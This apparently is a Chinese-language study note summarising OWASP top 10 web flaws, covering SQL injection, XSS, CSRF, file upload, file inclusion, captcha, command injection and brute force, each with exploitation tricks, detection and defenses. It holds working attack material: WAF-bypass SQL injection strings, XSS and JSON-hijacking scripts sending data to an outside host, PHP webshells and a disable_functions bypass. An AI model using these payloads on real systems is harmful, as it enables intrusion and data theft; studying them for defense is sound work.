1. 程式人生 > >OWASP top 10 漏洞的總結筆記

OWASP top 10 漏洞的總結筆記

這裡簡單地寫一些關於OWASP top 10 漏洞的一些利用技巧以及檢測方法、防禦方法等的筆記(很多是參考了《Web漏洞講解》),有新的理解和學會好的方法之後會更新~

同時也希望各位大牛給給建議~

SQL Injection&Blind SQL Injection(SQL注入與SQL盲注漏洞):

一、繞過WAF的方法:

1. 大小寫繞過

2. 簡單編碼繞過

3. 註釋繞過:

如?id=1 uni/**/on sele/**/ct 1,2,3 # 

4. 分隔重寫繞過:

適用於WAF採用正則表示式檢測所有的敏感字的情況,可以通過註釋分開敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至於重寫繞過,適用於WAF過濾了一次的情況,如uniunionon,有時候可能還有多次過濾的情況,這時多次嘗試也可以。

5. HTTP引數汙染(HPP): 

如?id=1 union select 1,2,3 from users where id=1 # 

這時可以改為?id=1 union select 1&id=2,3 from users where id=1 # 

次數&id=會在查詢時變成逗號,具體細節取決於 WAF ;

這個例子也同理:?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users # 

如果伺服器程式碼為: select * from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’]; 那麼可以構造這樣的注入語句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最終解析為: select from table where a=1 union/ and b=/select 1,pass/limit */from users # 可以看到,這種方式比較適合白盒測試。

6. 使用邏輯運算子 or /and 繞過:

如?id=1 or 0x50=0x50 

?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是從 users 表裡查詢 pwd 欄位的第一條記錄, 然後 mid()就是取該記錄的第一個字元, lower()把字元轉換為小寫,  ascii 把 該字元轉換成 ascii 碼,最後判斷等不等於 74。

7. 比較操作符替換:比較操作符如!=、<>、<、>都可以用來替換=來繞過。

8. 同功能函式替換:

substring()可以用mid()、substr()這些函式來替換,都是用來取字串的某一位字元的;

ascii()編碼可以用 hex()、bin(),即十六進位制和二進位制編碼替換;

在使用在基於延時的盲注中benchmark()和sleep()可以相互替換;

group_concat 、 concat 、concat_ws 三者可以互相替換;

還有一種新的方法 ,3條語句分別如下

substring((select ‘password’),1,1) = 0x70

substr((select ‘password’),1,1) = 0x70

mid((select ‘password’),1,1) = 0x70 

都是從 password 裡判斷第一個字元的值,可以用 

strcmp(left(‘password’,1), 0x69) = 1

strcmp(left(‘password’,1), 0x70) = 0

strcmp(left(‘password’,1), 0x71) = -1 

替換,left 用來取字串左起 1 位的值,strcmp 用來比較兩個值,如果比較結果相等就為 0,左邊小的話就為-1,否則為 1。

9. 盲注無需or和and:

例句:index.php?id=1

當and和or被過濾時,可以將 1修改為是通過語句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的時候頁面是正確的,現在再盲猜 hash 的第一位,如果第一位等於 0x42 也就是 B,那麼strcmp結果為0,0+123=123,所以頁面應該是正確的。否則就說明不是 B,就這樣猜,不用 and 和 or 了。

10. 加括號:

如?id=(1)union(select(1),mid(hash,1,32)from(users))   

?id=(1)union(((((((select(1),hex(hash)from(users))))))))

?id=(1)or(0x50=0x50)

11.緩衝區溢位繞過:

如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #

其中 A 越多越好,一般要求 1000 個以上。

二、檢測方法:

1、基於報錯的檢測方法:

使用各種符號以及組合: ‘  “  (  %

如直接在URL後新增單引號看是否報錯index.php?id=1'

2、基於布林的檢測:

最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相當於 1’ and ‘1和1’ and ‘0

當返回的結果不同時即有漏洞

3、直接在URL地址後面加-1、-0、'%2B'和'%2B'a:

新增-1:index.php?id=123-1,當前後訪問的頁面不同時,即可確定存在數字型SQL注入漏洞;

新增-0:index.php?id=123-0,當前後訪問的頁面相同時,再加上-1,返回錯誤頁面,則表示存在數字型SQL注入漏洞;

新增'%2B'和'%2B'a:這裡%2B為‘+’的URL編碼,當先新增'%2B'時index.php?id=123'%2B'返回同樣的頁面,而新增'%2B'a時返回錯誤,這種適用於SQL語句中id值被一對單引號括起來的情況。

4、判斷盲注的常用方法:

1’ and 1=1 #  

1’ and 1=2 #  

判斷這兩種不同的輸入是否有不一樣的顯示,如果一個正常一個通用的錯誤提示或者啥也不顯示,則幾乎可以確定是含有SQL注入漏洞的。

三、防禦方法:

關鍵是對所有使用者的輸入進行嚴格的檢查過濾、對資料庫配置使用最小許可權原則。

常用的修復方案:

(1)所有的查詢語句都使用資料庫提供的引數化查詢介面,引數化的語句使用引數而不是將使用者輸入變數嵌入到 SQL 語句中。

(2)過濾危險的 SQL 語句關鍵字。

(3)確認每種資料的型別。

(4)資料長度應該嚴格規定。

(5)網站每個資料層的編碼統一。

(6)嚴格限制網站使用者的資料庫的操作許可權。

(7)避免網站顯示 SQL 錯誤資訊。

(8)在網站釋出之前建議使用一些專業的 SQL 注入檢測工具進行檢測。

(9)升級 web 伺服器執行平臺軟體補丁,建議使用 WAF 防護。

其實最有效的防禦手段是下面兩種:

1、預編譯:

原理是採用PreparedStatement將相應的SQL語句預先編譯好,即SQL引擎會預先進行語法分析,產生語法樹,生成執行計劃,從而無論使用者輸入什麼內容即使是sql命令都不會影響該SQL語句的語法結構而只能當成是字串字面值引數。但並不是所有場景都能採用SQL預編譯的,如需要進行一些字串拼接的方式,這時便需要嚴格檢查引數的資料型別以及採用一些安全函式來處理。

其過程如下:

(1)定義預編譯的sql語句,其中待填入的引數用?佔位。

(2)建立預編譯Statement,並把sql語句傳入。此時sql語句已與此preparedStatement繫結。所以第4步執行語句時無需再把sql語句作為引數傳入execute()。

(3)填入具體引數。通過setXX(問號下標,數值)來為sql語句填入具體資料。問號下標從1開始,setXX與數值型別有關,字串就是setString(index,str)。

(4)執行預處理物件。

例子:

String sql="select id,no from user where id=?";

PreparedStatement ps = conn.prepareStatement(sql);

prestmt.setInt(1,id);

prestmt.executeQuery();

2、變數繫結:

是指在sql語句的條件中使用變數而不是常量,是為了減少解析的。具體的細節網上很多,後面再補充。

三種類型的XSS(跨站指令碼):

一、檢測方法:

尋找指令碼程式的輸出顯示程式碼,搜尋關鍵字,顯示輸出那個變數,跟蹤變數是否被過濾。

可以先輸入一些內容,頁面返回之後,可以檢視網頁原始碼,搜尋內容關鍵字看看是不是直接返回在頁面的HTML程式碼中。

二、防禦方法: 

1、呼叫函式:對於使用者提交的資料可以通過呼叫函式進行過濾,htmlspecialchars()函式將輸出的內容進行HTML的編碼,效果最好;str_replace()函式可以將指定的字串轉換為其他字串的,但是會被繞過。

2、使用XSS Filter:

(1)輸入過濾:

輸入驗證(客戶端):前端JS過濾,如檢測最大長度、是否只有合法字元、格式是否符合要求、數字是否在指定的範圍內。缺點就是容易被修改掉。

資料消毒(伺服器端):過濾敏感字元(可以和SQL注入的一同過濾),如< > javascript ‘ “ & # expression等。

(2)輸出編碼(伺服器端):可以使用HTML編碼(PHP的htmlspecialchars()函式、ASP的Server.HTMLEncode()函式、ASP.NET的Server.HtmlEncode()函式),用對應的HTML實體替代字面量字元,此時瀏覽器會將惡意程式碼當作HTML文件的內容而不是結構加以處理。

常見惡意字元的HTML編碼(顯示、實體名字、實體編號):

<  &lt;  &#60;

>  &gt;  &#62;

&  &amp;  &#38;

“  &quot;  &#34;

‘          &#39;

3、白名單和黑名單結合

4、Noscript:Firefox的一款免費的開源外掛,預設禁止所有指令碼,但是可以通過自定義設定允許通過的指令碼。

5、Anti_XSS:提供大量的編碼函式用於處理使用者的輸入,實現白名單機制和輸出轉義

6、HttpOnly:攻擊者通過XSS漏洞執行JS中的document.cookie方法來竊取使用者的cookie資訊。Web應用程式在Set-Cookie時將其屬性設為HttpOnly即可避免Cookie被客戶端JS存取,也可以保護使用者的Cookie資訊不被盜取。

PHP設定HttpOnly的方法:

(1)修改php.ini檔案,設定其值為1或TRUE;

(2)setcookie()函式和setrawcookie()函式的第七個引數;

(3)在PHP程式碼中開啟。

7、Web安全編碼規範:對敏感字元轉義、URL屬性進行相應的規定等。

8、儘量使用WAF

9、防禦DOM型XSS:

DOM型XSS主要是由客戶端的指令碼通過DOM動態地輸出資料到頁面而不是依賴於將資料提交給伺服器端,而從客戶端獲得DOM中的資料在本地執行,因而僅從伺服器端是無法防禦的。其防禦在於:

(1)避免客戶端文件重寫、重定向或其他敏感操作,同時避免使用客戶端資料,這些操作儘量在伺服器端使用動態頁面來實現;

(2)分析和強化客戶端JS程式碼,特別是受到使用者影響的DOM物件,注意能直接修改DOM和建立HTML檔案的相關函式或方法,並在輸出變數到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到<script>則進行JS編碼。

CSRF(跨站偽造請求):

一、CSRF攻擊獲取資料的方法:

要獲取的關鍵資料:使用者 id、使用者暱稱、使用者 email、使用者個人頁面地址等。

同域內 CSRF 攻擊獲取資料幾乎沒任何限制。

跨域 CSRF 攻擊獲取資料的幾種方法總結如下:

1、XSS 

2、服務端代理技術

3、JSON Hijacing

4、Flash AsctionScript(crossdomain.xml)

(1)XSS 獲取資料:

如之前關於XSS文章做的三方的演示,使用目標站點上的XSS 漏洞:

<iframe width=0 height=0 src=‘http://目標站點/search.php?k=“><script src=http://惡意站點/get.js></script>’></iframe>

其中get.js 的程式碼為:

//use DOM method to get your data

new Image(). src=‘http://惡意站點/a.php?data=‘+data;

惡意站點的 a.php 檔案接收唯一標識等資料,該唯一標識可以是 url 中的或是目標站點url 對應的內容中的。這樣受害者就會訪問到第三方的惡意網站從而洩露資訊。

(2)使用 JSON Hijacking技術:

目標站點使用了 JSON 資料傳輸使用者私有資料,其中包含需要的唯一標識等資訊。

相關程式碼:

<script> function hijack(o){

//use DOM method to get your data

new Image().src="http://192.168.1.2/JSONHiJack.asp?hi="+escape(data);

}</script>

<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>

三、使用Flash ActionScript 指令碼:

前提是目標站點下存在crossdomain.xml檔案,且其配置允許其他域的 AS指令碼進行跨域請求。

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-policy>

相關程式碼:

import flash.net.*; 

var _l = new URLLoader(new URLRequest(“http://目標站點/"));

_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});

_l.load();

二、檢測方法:

最簡單的方法就是抓取一個正常請求的資料包,去掉 Referer 欄位後再重新提交,如果該提交還有效,那麼基本上可以確定存在 CSRF 漏洞。

一些專門針對 CSRF 漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder 等。

以 CSRFTester 工具為例,CSRF 漏洞檢測工具的測試原理如下:使用 CSRFTester 進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有連結以及所有的表單等資訊,然後通過在 CSRFTester 中修改相應的表單等資訊,重新提交,這相當於一次偽造客戶端請求。如果修改後的測試請求成功被網站伺服器接受,則說明存在CSRF 漏洞,當然此款工具也可以被用來進行 CSRF 攻擊。

三、防禦方法:

1、服務端的防禦:主要有 5 種策略:驗證 HTTP的Referer欄位、在請求地址中新增 token 並驗證、在 HTTP 頭中自定義屬性並驗證、使用POST替代GET等。

(1)、驗證 HTTP的Referer欄位,在 HTTP 頭的Referer欄位記錄了該 HTTP 請求的來源地址。順便解決了非法盜鏈、站外提交等問題。在通常情況下,訪問一個安全受限頁面的請求必須來自於同一個網站。

(2)、在請求地址中新增 token 並驗證,可以在 HTTP請求中以引數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。抵禦 CSRF 攻擊的關鍵在於:在請求中加入攻擊者所不能偽造的資訊,並且該資訊不存在於 Cookie 之中。

(3)、在 HTTP 頭中自定義屬性並驗證,也是使用 token 並進行驗證,但並不是把 token以引數的形式置於 HTTP 請求而是放到 HTTP 頭中自定義的屬性裡。通過XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把token 值放入其中。這樣解決了前一種方法在請求中加入 token 的不便,同時,通過這個類請求的地址不會被記錄到瀏覽器的位址列,也不用擔心 token 會通過 Referer 洩露到其他網站。

(4)、嚴格區分好 POST 與 GET 的資料請求,儘量使用POST來替代GET,如在 asp 中不要使用 Request 來直接獲取資料。同時建議不要用 GET 請求來執行永續性操作。

(5)、使用驗證碼或者密碼確認方式,缺點是使用者體驗差。

2、使用者端的防禦:使用者的安全意識與良好的上網習慣。

3、安全裝置的防禦:有些廠商的安全產品能基於硬體層面對HTTP 頭部的 Referer 欄位內容進行檢查來快速準確的識別 CSRF 攻擊。

File Upload(檔案上傳漏洞):

一、檔案上傳攻擊分類:

1、輕量級檢測繞過攻擊:

(1)繞過javascript 對副檔名的檢測:

使用Burpsuite等反向代理工具直接POST資料包到服務端,繞過前端檢測,如DVWA中的繞過示例。

(2)繞過服務端對http request 包MIME 型別檢測:

使用Burpsuite等反向代理工具偽造POST 資料包到服務端,繞過MIME檢測,如DVWA中的繞過示例。

2、檔案內容檢測繞過攻擊:

檔案載入測試繞過:對檔案進行程式碼注入再配合任意解析呼叫/漏洞。

3、上傳攻擊框架漏洞分層以及路徑/副檔名檢測繞過攻擊:

輕量級檢測繞過攻擊

繞過JavaScript對副檔名的檢測

程式碼層漏洞

繞過服務端對HTTP request包MIME型別檢測

程式碼層漏洞



路徑、副檔名檢測繞過攻擊

黑名單繞過

白名單繞過

檔名大小寫繞過

名單列表繞過

特殊檔名繞過

0x00截斷繞過

.htaccess檔案攻擊

PHP檔案包含漏洞

Apache解析漏洞

IIS解析漏洞

Nginx解析漏洞

程式碼層漏洞

程式碼層漏洞

程式碼層漏洞

程式碼層漏洞

程式碼層漏洞

程式碼層漏洞

應用層漏洞

應用層漏洞

應用層漏洞

0x00截斷繞過

PHP檔案包含漏洞

IIS解析漏洞

Nginx解析漏洞

程式碼層漏洞

程式碼層漏洞

應用層漏洞

應用層漏洞

4、檔案內容檢測繞過攻擊:

檔案載入繞過 (程式碼層漏洞)

攻擊手法與環節如圖:


二、上傳檔案中的解析攻擊:

1、直接解析(幾乎沒有防禦):

比如直接上傳一個副檔名是.php 的檔案,只需要簡單地繞過客戶端javascript 檢測或者服務端MIME 型別檢測就行了。

2、配合解析(有一定程度的防禦):

可以理解為先將程式碼注入到伺服器上,上傳一個帶有一句話木馬的圖片或檔案,等待一個解析的配合來實現攻擊。

(1)、本地檔案包含解析:主要是PHP本地檔案包含

(2)、.htaccess檔案解析

(3)、Web應用程式解析漏洞以及其原理:

1.Apache 解析漏洞:

解析: test.php.abc(其中abc為任意不屬於黑名單且也不屬於Apache解析白名單的名稱)

描述:一個檔名為x1.x2.x3的檔案,Apache 會從x3的位置往x1的位置開始嘗試解析,如果x3不屬於Apache能解析的副檔名,那麼Apache會嘗試去解析x2的位置,這樣         一直往前嘗試,直到遇到一個能解析的副檔名為止。

2.IIS 解析漏洞:

解析:test.asp/abc 或 test.asp;abc 名 或 abc/def.php (其中abc、def都為任意檔名)

描述:IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字串,那麼這個目錄下所有的檔案都會按照asp去解析,另一個是隻要檔名中含有".asp;"會優先按asp來解析;IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意檔名只要在URL 後面追加上字串"/任意檔名.php"就會按照php的方式去解析。

3.Nginx 解析漏洞:

解析:abc/def.php 或 abc%00.php (其中abc、def都為任意檔名)

描述:目前Nginx 主要有這兩種漏洞,一個是對任意檔名,在後面新增/abc.php 的解析漏洞,如原本檔名是test.jpg則可以新增為test.jpg/x.php進行解析攻擊。還有一種是對低版本的Nginx 可以在任意檔名後面新增%00.php 進行解析攻擊。

4.解析漏洞總結:

Apache的副檔名順序解析漏洞:Apache自身的漏洞

IIS的asp 解析漏洞:IIS自身的漏洞

Nginx的%00 解析漏洞:Nginx自身的漏洞

php-cgi的預設配置漏洞:這類以CGI 形式呼叫php的web 應用程式主要出現在IIS和Nginx;而Apache 通常是以module 的形式去呼叫php,所以很少出現該型別漏洞。

三、檢測方法:

簡單點的方法就是直接上傳各種型別的檔案,再通過Burpsuite修改各個可以繞過的檢測內容來檢測。

四、防禦方法:

簡單的防禦方法為:獲取副檔名進行白名單對比,然後對檔案進行重新命名。當然若存在解析漏洞等容易被繞過,具體點的防禦方法如下:

1、客戶端JavaScript檢測:通常為檢測副檔名)

2、服務端MIME 型別檢測:檢測Content-Type內容)

3、服務端目錄路徑檢測:檢測跟path引數相關的內容

4、服務端副檔名檢測:檢測跟檔案extension 相關的內容

(1)黑名單檢測:

1. 檔名大小寫繞過:如 AsP,pHp。

2. 名單列表繞過:用黑名單裡沒有的名單,如 asa 或 cer 等。

3. 特殊檔名繞過:比如傳送的 http 包裡把檔名改成 test.asp. 或 test.asp (後面為空格),這種命名方式在 Windows系統裡是不能直接修改的,需要在Burpsuite等代理中進行修改,然後繞過驗證後,會被Windows系統自動去掉後面的點和空格,但也只能用在Windows系統中。

4. 0x00 截斷繞過

5. 雙副檔名解析繞過攻擊:

(1)基於Web服務的解析邏輯:如果上傳一個檔名為help.asp.123,副檔名123 不在副檔名黑名單中也沒在Apache 可解析副檔名列表中,此時會向前搜尋下一個可解析的副檔名,若搜尋到.php,則會以php 執行。

(2) 基於Web服務的解析方式:如果在Apache的conf 裡有這樣一行配置 AddHandler php5-script .php 這時只要檔名裡包含.php 即使檔名是test2.php.jpg也會以php 來執行。

6. 危險解析繞過攻擊:基於Web服務的解析方式:如果在Apache 的conf 裡有這樣一行配置 AddType application/x-httpd-php .jpg 即使副檔名是jpg,一樣能以php 方式執行。

7. .htaccess 檔案攻擊:配合名單列表繞過,上傳一個自定義的.htaccess,就可以輕鬆繞過各種檢測。

8. 解析呼叫/漏洞繞過:直接配合上傳一個程式碼注入過的非黑名單檔案即可,再利用解析呼叫/漏洞

(2)白名單檢測:

1. 0x00 截斷繞過:如test.asp%00.jpg 的方式進行截斷,屬於白名單檔案,再利用服務端程式碼的檢測邏輯漏洞進行攻擊

2. 解析呼叫/漏洞繞過:直接配合上傳一個程式碼注入過的白名單檔案,再利用解析呼叫/漏洞

3. .htaccess檔案攻擊:無論是黑名單還是白名單都可以直接攻擊.htaccess 檔案

如果PHP 安全沒配置好,就可以通過move_uploaded_file 函式把自己寫的.htaccess 檔案覆蓋掉伺服器上的,這樣就能任意定義解析名單了。

5、服務端檔案內容檢測(檢測內容是否合法或含有惡意程式碼) :

(1)檔案幻數檢測:

主要是檢測檔案內容開始處的檔案幻數,要繞過的話需要在檔案開頭寫上檢測的值,比如圖片型別的檔案幻數如下:

JPG檔案:


GIF檔案:


PNG檔案:


然後在檔案幻數後面加上程式碼即可。

(2)檔案相關資訊檢測:

影象檔案相關資訊檢測常用的就是getimagesize()函式,需要把檔案頭部分偽造好,就是在幻數的基礎上還加了一些檔案資訊,結構如下:

GIF89a 

(...some binary data for image...) 

<?php phpinfo(); ?>

(... skipping the rest of binary data ...)

(3)檔案載入檢測:

一般是呼叫API 或函式去進行檔案載入測試,常見的是影象渲染測試,甚至是進行二次渲染(過濾效果幾乎最強)。

對渲染/載入測試的攻擊方式:程式碼注入繞過,可以用影象處理軟體對一張圖片進行程式碼注入,但檔案結構是完整的,渲染測試基本上都能繞過。用winhex檢視資料可以分析出這類工具的原理是在不破壞檔案本身的渲染情況下找一個空白區進行填充程式碼,一般會是圖片的註釋區。

對二次渲染的攻擊方式:攻擊檔案載入器自身,常見的就是溢位攻擊,上傳惡意檔案後伺服器上的檔案載入器會主動進行載入測試,載入測試時被溢位攻擊執行shellcode比如access/mdb 溢位;二次渲染相當於是把原本屬於影象資料的部分抓了出來,再用自己的API 或函式進行重新渲染,在這個過程中非影象資料的部分直接就被隔離開了。

示例程式碼:

function image_gd_open($file, $extension) { 

$extension = str_replace('jpg', 'jpeg', $extension); 

$open_func = 'imageCreateFrom'. $extension; //函式名變成imageCreateFrompng  之類 

if (!function_exists($open_func)) { 

return FALSE; 

return $open_func($file); //變成imagecreatefrompng('/tmp/php0lbTOn') 

File Include(檔案包含漏洞):

一、檔案包含漏洞的利用技巧:

包含漏洞上傳技巧:

一般將一句話木馬和圖片進行繫結上傳。

包含讀檔案:

如http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

包含寫檔案:

構造URL:http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://input,並且提交POST資料為:<?php system('net user');?>等

包含日誌檔案:

當存在PHP本地檔案包含漏洞,但無法上傳正常檔案時,可以利用Apache日誌檔案。Apache伺服器執行後會生成兩個日誌檔案,這兩個檔案是access.log(訪問日誌)和error.log(錯誤日誌),apache的日誌檔案記錄下我們的操作,並且寫到訪問日誌檔案access.log之中,例如:

http://10.10.10.128/dvwa/vulnerabilities/fi/?page=../../../../Apache-20\logs\access.log

PHP內建的協議:


二、檢測方法:

找到有包含函式的頁面,對函式內容進行替換檢視結果;

可以使用工具來代替手工的過程,如Kadimus、Burpsuite的外掛LFI scanner checks等;

白盒測試時,可以在原始碼中檢視allow_url_fopen、allow_url_include等敏感函式是否開啟。

三、防禦方法:

1、嚴格判斷包含中的引數是否外部可控。

2、路徑限制,限制被包含的檔案只能在某一個資料夾內,特別是一定要禁止目錄跳轉字元,如:“../”。

3、基於白名單的包含檔案驗證,驗證被包含的檔案是否在白名單中。

4、儘量不要使用動態包含,可以在需要包含的頁面固定寫好,如:“include("head.php")”。

5、可以通過呼叫str_replace()函式實現相關敏感字元的過濾,一定程度上防禦了遠端檔案包含。

Insecure Captcha(不安全的驗證碼):

一、原理過程:

1.客戶端發起一個請求

2.服務端響應並建立一個新的 SessionID 同時生成一個隨機驗證碼

3.服務端將驗證碼和 SessionID 一併返回給客戶端

4.客戶端提交驗證碼連同 SessionID 給服務端

5.服務端驗證驗證碼同時銷燬當前會話,返回給客戶端結果

二、驗證碼的安全問題:

客戶端問題:

1、客戶端生成驗證碼:驗證碼由客戶端 JS生成並且僅僅在客戶端用JS驗證。

2、驗證碼輸出客戶端:輸出在HTML中,不應該把驗證碼的內容傳送到客戶端 cookie 或輸出到response headers的其他欄位中。

3、驗證碼輸出在 cookie 中:有些系統預設不顯示驗證碼,而是在使用者校驗錯誤一定次數之後再出現。那如何判斷使用者已經錯誤幾次了呢?若是如下判斷:        

(1)在 cookie 中寫入一個標記,比如 loginErr = 1,後續錯誤累加

(2)在 session 中寫入一個標記,例如 loginErr = 1,後續錯誤累加 

這樣問題在於,要是攻擊者不帶 Cookie 提交 HTTP 請求或不更新 Cookie中 loginErr 的值反覆提交,這樣程式會因為無從獲取 Cookie/sessionID,會認為攻擊者是首次訪問,從而驗證碼不會出現。

伺服器端問題:

1、驗證碼不過期,沒有及時銷燬會話導致驗證碼複用

2、沒有進行非空判斷

3、產生的驗證碼問題集內的答案非常有限

三、檢測方法:

簡單的方法,先是手工登入幾次,檢視是否出現驗證碼以及驗證碼是否失效,然後再通過Burpsuite來進一步測試。

四、防禦方法:

1、強制要求輸入驗證碼,否則必須實施 IP 策略。注意不要被 X-Forwarded-For(用來識別通過HTTP代理或負載均衡方式連線到Web伺服器的客戶端最原始的IP地址的HTTP請求頭欄位) 繞過了。

2、驗證碼只能用一次,用完立即過期。

3、驗證碼強度增強,使用扭曲、變形、干擾線條、干擾背景色、變換字型等。

4、大網站最好統一安全驗證碼,各處使用同一個驗證碼介面。

Command Injection(命令注入漏洞):

一、PHP與命令執行漏洞相關的函式:

1、PHP的5種命令執行函式:system()、exec()、passthru()、shell_exec()、``運算子

eval()函式注入攻擊,將引數字串作為PHP 程式程式碼來執行,使用者可以將 PHP 程式碼儲存成字串的形式,然後傳遞給 eval 函式執行。

PHP中的preg_replace()函式、str_replace()函式以及call_user_func()函式同樣可以實現eval 注入攻擊的效果。preg_replace()函式的作用是用來執行常規表示式的查詢和替換的,當替換內容為使用者可控資料時,就可能導致命令注入攻擊漏洞的形成。

2、命令執行小集:

<?php
$cmd="system";
ob_start($cmd);
echo "$_GET[cunlide]";
ob_end_flush();
echo "<br>";
system("$_GET[cunlide]");
echo "<br>";
echo exec("$_GET[cunlide]");
echo "<br>";
echo shell_exec("$_GET[cunlide]");
echo "<br>";
echo passthru("$_GET[cunlide]");
echo "<br>";
echo `$_GET[cunlide]`;
?>

3、PHP後門木馬常用的函式型別:

執行系統命令:system, passthru, shell_exec, exec, popen, proc_open

程式碼執行與加密:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

檔案包含與生成:require,require_once,include,  include_once,file_get_contents, file_put_contents, fputs, fwrite

.htaccess:SetHandler, auto_prepend_file, auto_append_file

二、繞過disable_functions的方法:

禁止 webshell 執行命令原理:PHP配置檔案裡的disable_functions =  配置,用來禁止某些 php 函式。

1、黑名單繞過

2、系統元件繞過(Windows):

<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell');   // 生成一個 COM 物件
$exec = $wsh->exec('cmd.exe /c '.$command); //呼叫物件方法來執行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

Shell.Application 也可以實現同樣的效果。

徹底的解決方案是直接刪除 System32 目錄下 wshom.ocx 檔案。

3、擴充套件庫繞過:Linux下可通過編譯拓展庫進行繞過。

防禦方法:將dl函式加入disable_function中禁用。

使用PHP突破Disable_functions執行Linux命令:linux 的 webshell 管理員禁用了exec,system,passthru,popen,shell_exec等等 PHP 執行命令函式,導致不能執行命令,php 提供了一個擴充套件模組功能,使用 dl 函式能包含一個擴充套件模組。類似.so或者想windows下的 dll 檔案。可以自定義函式來呼叫 linux 命令而無視Disable_functions的限制。

在PHP中使用create_function()建立匿名函式,如果沒有嚴格對引數傳遞進行過濾,攻擊者可以構造特殊字串傳遞給 create_function()執行任意命令。

三、檢測方法:

基於黑盒的測試:簡單點就是直接手工在輸入內容之後新增各種分號或其它可以繞過的符號再新增命令,最後檢視返回結果判斷。

基於白盒的測試:檢視原始碼,搜尋與執行PHP程式碼的函式如eval、assert和執行系統命令的函式如system、passthru等。

四、防禦方法:

1、儘量不要執行外部的應用程式或命令。

2、使用自定義函式或函式庫實現外部應用程式或命令的功能。

3、在執行 system、eval 等命令執行功能的函式前,確定引數內容。

4、使用 escapeshellarg ()函式和escapeshellcmd()函式處理相關使用者輸入的內容。escapeshellarg() 函式會將任何引起引數或命令結束的字元進行轉義,如單引號“’”會被轉義為“\’”,雙引號“””會被轉義為“\””,分號“ ;”會被轉義為“\;”,這樣 escapeshellarg 會將引數內容限制在一對單引號或雙引號裡面,轉義引數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。escapeshellcmd()函式會轉義內容中的所有shell元字元來進行防禦,這些元字元包括:# $ ; , \\ ' | ? * ~ < > ^ ( ) [ ] { } 

5、使用 safe_mode_exec_dir 執行可執行的檔案路徑。將 php.ini 檔案中的 safe_mode 設定為 On,然後將允許執行的檔案放入一個目錄中,並使用 safe_mode_exec_dir 指定這個可執行的檔案路徑。這樣,在需要執行相應的外部程式時,程式必須在 safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將失敗。

Brute Force(暴力破解):

一、暴力破解分類:

1、C/S架構暴力破解:

主要使用的破解工具Hydra、Bruter、X-scan

2、B/S架構暴力破解:

使用Burpsuite映象表單爆破

二、檢測方法:

簡單粗暴的方法,直接使用Burpsuite進行暴力破解,看看有沒有什麼防暴破的機制即可。

三、防禦方法:

1、設定複雜的密碼

2、採用驗證碼機制,同時可防範CSRF攻擊

3、登陸日誌,限制登入次數

4、呼叫sleep()函式,當登入失敗時停止一段時間才允許再次登入,如DVWA的High級的防暴破機制